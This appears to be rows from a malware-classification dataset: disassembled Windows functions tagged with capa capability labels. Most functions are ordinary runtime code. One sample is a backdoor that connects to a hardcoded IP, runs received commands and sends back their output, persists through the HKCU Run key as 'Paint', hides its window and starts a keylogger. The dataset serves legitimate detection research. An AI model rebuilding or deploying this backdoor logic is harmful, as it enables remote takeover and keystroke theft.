joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800d5670
Capabilities:
Write file on windows

Disassembly:
push rdi
sub rsp, 0x30
mov rdi, r8
test r8, r8
jne 0x1800d5686
mov al, 1
add rsp, 0x30
pop rdi
ret
test rcx, rcx
jne 0x1800d5693
xor al, al
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rcx + 8]
cmp rcx, 0xffffffffffffffff
je 0x1800d568b
test rdx, rdx
je 0x1800d568b
mov qword [rsp + 0x40], rbx
lea r9, [rsp + 0x50]
xor ebx, ebx
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x1800d56ca
cmp dword [rsp + 0x50], edi
jne 0x1800d56ca
mov ebx, eax
movzx eax, bl
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1800dae38
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1800daebc
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1801022d0]
cmp byte [rcx + rax], 0
je 0x1800daebc
dec r8
sub rdx, 1
jne 0x1800daea2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005490]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400054a0]
mov dword [rax], 1
mov rax, qword [0x1400054b0]
mov dword [rax], 1
mov rax, qword [0x140005430]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005480]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140005550]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140005530]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400053e0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001849
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
lea rdx, [rbp - 5]
mov rax, qword [rbp + 0x10]
mov r9d, 2
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_recv]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0xffffffff
jne 0x1400018a5
mov rax, qword [sym.imp.WSOCK32.dll_WSAGetLastError]
call rax
cmp eax, 0x2733
je 0x1400018a5
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_closesocket]
call rax
mov eax, 0
jmp 0x1400018aa
mov eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x1400018b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WSOCK32.dll_socket]
call rax
mov dword [0x140008030], eax
jmp 0x1400018e7
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [0x140008030]
cdqe
mov r8d, 0x10
lea rdx, [0x140008040]
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_connect]
call rax
test eax, eax
jne 0x1400018d9
call sym.Shell
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140001a46
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x10]
lea rdx, [0x140005002]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp - 8], rax
jmp 0x140001a87
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x20]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x18]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x140001a77
mov eax, dword [0x140008030]
cdqe
mov rdx, qword [rbp + 0x20]
mov r9d, 0
mov r8d, 0x47d0
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140001adb
Capabilities:
Persist via run registry key
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
movabs rax, 0xa64656c696146
mov qword [rbp + 0x130], rax
movabs rax, 0x2064657461657243
movabs rdx, 0x6574736973726550
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x3a2074412065636e
movabs rdx, 0x55435f59454b4820
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x53555f544e455252
movabs rdx, 0x7774666f535c5245
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x7263694d5c657261
movabs rdx, 0x69575c74666f736f
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x75435c73776f646e
movabs rdx, 0x726556746e657272
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x6973726556746e65
movabs rdx, 0xa6e75525c6e6f
mov qword [rbp + 0x11a], rax
mov qword [rbp + 0x122], rdx
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0x13c], eax
mov eax, dword [rbp + 0x13c]
mov dword [rbp + 0x138], eax
cmp dword [rbp + 0x13c], 0
jne 0x140001c2f
mov eax, dword [0x140008030]
cdqe
lea rdx, [rbp + 0x130]
mov r9d, 0
mov r8d, 8
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x140001d39
lea rax, [rbp - 0x48]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
je 0x140001c85
mov eax, dword [0x140008030]
cdqe
lea rdx, [rbp + 0x130]
mov r9d, 0
mov r8d, 8
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x140001d39
mov rax, qword [rbp - 0x48]
mov edx, dword [rbp + 0x138]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.Paint
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
je 0x140001cfd
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [0x140008030]
cdqe
lea rdx, [rbp + 0x130]
mov r9d, 0
mov r8d, 8
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x140001d39
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [0x140008030]
cdqe
lea rdx, [rbp + 0xd0]
mov r9d, 0
mov r8d, 0x5a
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_send]
call rax
mov eax, 0
add rsp, 0x1c0
pop rbp
ret
Function at 0x140001d42
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
push rbp
mov eax, 0x5010
call fcn.1400030f0
sub rsp, rax
lea rbp, [rsp + 0x80]
jmp 0x140001f27
lea rax, [rbp + 0x4b80]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x4780]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x50]
mov r8d, 0x47d0
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [0x140008030]
cdqe
lea rdx, [rbp + 0x4b80]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_recv]
call rax
lea rax, [rbp + 0x4b80]
mov r8d, 4
mov rdx, rax
lea rax, str.quit
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x140001e19
mov eax, dword [0x140008030]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WSOCK32.dll_WSACleanup]
call rax
mov ecx, 0
call sym.exit
lea rax, [rbp + 0x4b80]
mov r8d, 3
mov rdx, rax
lea rax, [0x140005041]
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x140001e83
lea rax, [rbp + 0x4b80]
mov r8d, 0x64
mov edx, 3
mov rcx, rax
call sym.slice_str
mov rcx, rax
call sym.chdir
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x4780]
mov r8, rdx
mov rdx, rax
lea rax, [0x140005045]
mov rcx, rax
call sym.runCmd
jmp 0x140001f27
lea rax, [rbp + 0x4b80]
mov r8d, 7
mov rdx, rax
lea rax, str.persist
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x140001ead
call sym.editRegistry
jmp 0x140001f27
lea rax, [rbp + 0x4b80]
mov r8d, 0xf
mov rdx, rax
lea rax, str.start_keylogger
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x140001f0a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.logKey]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x4f88], rax
jmp 0x140001f27
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x4780]
lea rax, [rbp + 0x4b80]
mov r8, rcx
mov rcx, rax
call sym.runCmd
mov eax, dword [0x140008030]
cdqe
mov rcx, rax
call sym.connected
test al, al
jne 0x140001d5d
call sym.reconnect
nop
add rsp, 0x5010
pop rbp
ret

Function at 0x140001f4e
Capabilities:
Hide graphical window
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x150], rcx
mov qword [rbp + 0x158], rdx
mov qword [rbp + 0x160], r8
mov dword [rbp + 0x168], r9d
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WSOCK32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001fdd
mov ecx, 1
call sym.exit
mov r8d, 0x10
mov edx, 0
lea rax, [0x140008040]
mov rcx, rax
call sym.memset
mov word [0x140008040], 2
lea rax, str.45.142.214.130
mov rcx, rax
mov rax, qword [sym.imp.WSOCK32.dll_inet_addr]
call rax
mov dword [0x140008044], eax
mov ecx, 0x2382
mov rax, qword [sym.imp.WSOCK32.dll_htons]
call rax
mov word [0x140008042], ax
call sym.reconnect
nop
add rsp, 0x1c0
pop rbp
ret
Function at 0x140002350
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400023c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400080c4]
mov rbx, rcx
test esi, esi
jle 0x1400024f0
mov rax, qword [0x1400080c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000240b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002495
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400023f0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002512
mov rax, qword [0x1400080c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400080c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400024f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000248e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400024a0
add dword [0x1400080c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400080c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000248e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002418
mov rax, qword [0x1400080c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002a80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140008100]
test rbx, rbx
je 0x140002adc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002ad3
test rsi, rsi
je 0x140002ad3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002ab8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002cf0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002d08
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002d10
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002d20
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140002d6d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002d64
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002d6f
add rax, 0x28
cmp rax, r9
jne 0x140002d50
xor eax, eax
ret

Function at 0x140002d70
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002e00
mov rdx, qword [0x140005430]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002dee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002dee
cmp word [rax + 0x18], 0x20b
jne 0x140002dee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002e00
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002dd9
add rbx, 0x28
cmp rbx, rdi
je 0x140002e00
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002dd0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002e10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002e30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002e38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002e30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002e8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002e84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002e30
add rax, 0x28
cmp rax, r9
jne 0x140002e70
xor eax, eax
ret

Function at 0x140002e90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005430]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002eaf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002eb8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002eaf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002ed0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140005430]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002ef0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002ef8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002ef0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002f40
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002f37
test rcx, rcx
je 0x140002ef0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002f28
xor eax, eax
ret

Function at 0x140002f50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005430]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002f6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002f78
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002f90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002fb0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002fb8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002fb0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002fb0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140003004
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140003010
add rdx, 0x28
cmp r9, rdx
jne 0x140002ff0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140003020
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140005430]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140003042
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140003050
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003042
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140003042
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140003042
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400030a5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400030b8
add rdx, 0x28
cmp rdx, r10
jne 0x140003090
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400030c7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400030d7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400030ae
test ecx, ecx
jg 0x1400030c0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140003350
Capabilities:
Initialize winsock library

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call dbg.__main
call dbg.__p__acmdln
mov rbx, qword [rax]
test rbx, rbx
jne 0x14000339b
jmp 0x140003411
test cl, cl
je 0x1400033c8
and esi, 1
je 0x1400033b0
mov esi, 1
call sym._ismbblead
test eax, eax
je 0x140003397
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x140003378
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x140003386
test cl, cl
je 0x1400033c8
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x1400033c8
cmp al, 0x20
jle 0x1400033b8
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x1400033f6
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x140005430]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp sym.WinMain
lea rbx, [0x140005090]
jmp 0x1400033c8
Function at 0x1800016a0
Capabilities:
Check os version

Disassembly:
sub rsp, 0x158
mov rax, qword [0x18013b490]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, VarUI4FromDisp
mov dword [rsp + 0x20], VarUI4FromDisp
call fcn.180076350
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x180001703
cmp dword [rsp + 0x24], 6
jb 0x180001703
mov al, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.180076320
add rsp, 0x158
ret
xor al, al
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.180076320
add rsp, 0x158
ret

Function at 0x180001d30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x18013cb20]
mov rdx, rcx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
cmp word [rax + 0xe], 0x20
sete al
add rsp, 0x20
pop rbx
ret

Function at 0x18005ac20
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x100
mov rax, qword [rcx + 0x3b0]
mov rbx, rcx
cmp qword [r8], rax
jne 0x18005ade8
mov qword [r11 + 0x10], rsi
lea rcx, [r11 + 8]
mov qword [r11 + 0x18], rdi
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, qword [rbx + 0x3b0]
lea rdx, [rsp + 0x110]
call qword [sym.imp.USER32.dll_ScreenToClient]
mov r11, qword [rsp + 0x110]
mov rcx, qword [rbx + 0x3b0]
lea r9, [rsp + 0x20]
xor r8d, r8d
mov edx, 0x1012
mov qword [rsp + 0x20], r11
call qword [sym.imp.USER32.dll_SendMessageW]
test byte [rsp + 0x28], 0xe
je 0x18005add8
mov rcx, qword [rbx + 0x3b0]
lea rdx, [rsp + 0x110]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [rsp + 0x2c]
mov rcx, qword [rbx + 0x3b0]
lea r9, [rsp + 0xb0]
xor esi, esi
xor r8d, r8d
mov edx, 0x104b
mov dword [rsp + 0xb4], eax
mov dword [rsp + 0xb0], 4
mov dword [rsp + 0xb8], esi
call qword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
je 0x18005add8
mov rdi, qword [rsp + 0xd8]
test rdi, rdi
je 0x18005add8
bt dword [rdi + 0x10], 0x1d
jb 0x18005adbd
mov rcx, qword [rbx + 0x3b0]
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x44], 0xc
call qword [sym.imp.USER32.dll_GetParent]
mov rdx, qword [rdi]
lea r8, [0x180097efc]
mov qword [rsp + 0x48], rax
lea rax, str.Open
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x50], rax
mov rax, qword [0x18013cb18]
mov qword [rsp + 0x68], r8
mov r8, qword [rdi + 8]
mov qword [rsp + 0x78], rax
xor eax, eax
lea rcx, [rbx + 0x418]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x70], 1
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x90], rsi
mov dword [rsp + 0x98], esi
mov qword [rsp + 0xa0], rsi
call fcn.180060790
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x80], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
jmp 0x18005add8
mov rcx, qword [rbx + 8]
lea r8, [0x180097efc]
lea rdx, str.Clicked_on_folder
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rsi, qword [rsp + 0x118]
mov rdi, qword [rsp + 0x120]
xor eax, eax
add rsp, 0x100
pop rbx
ret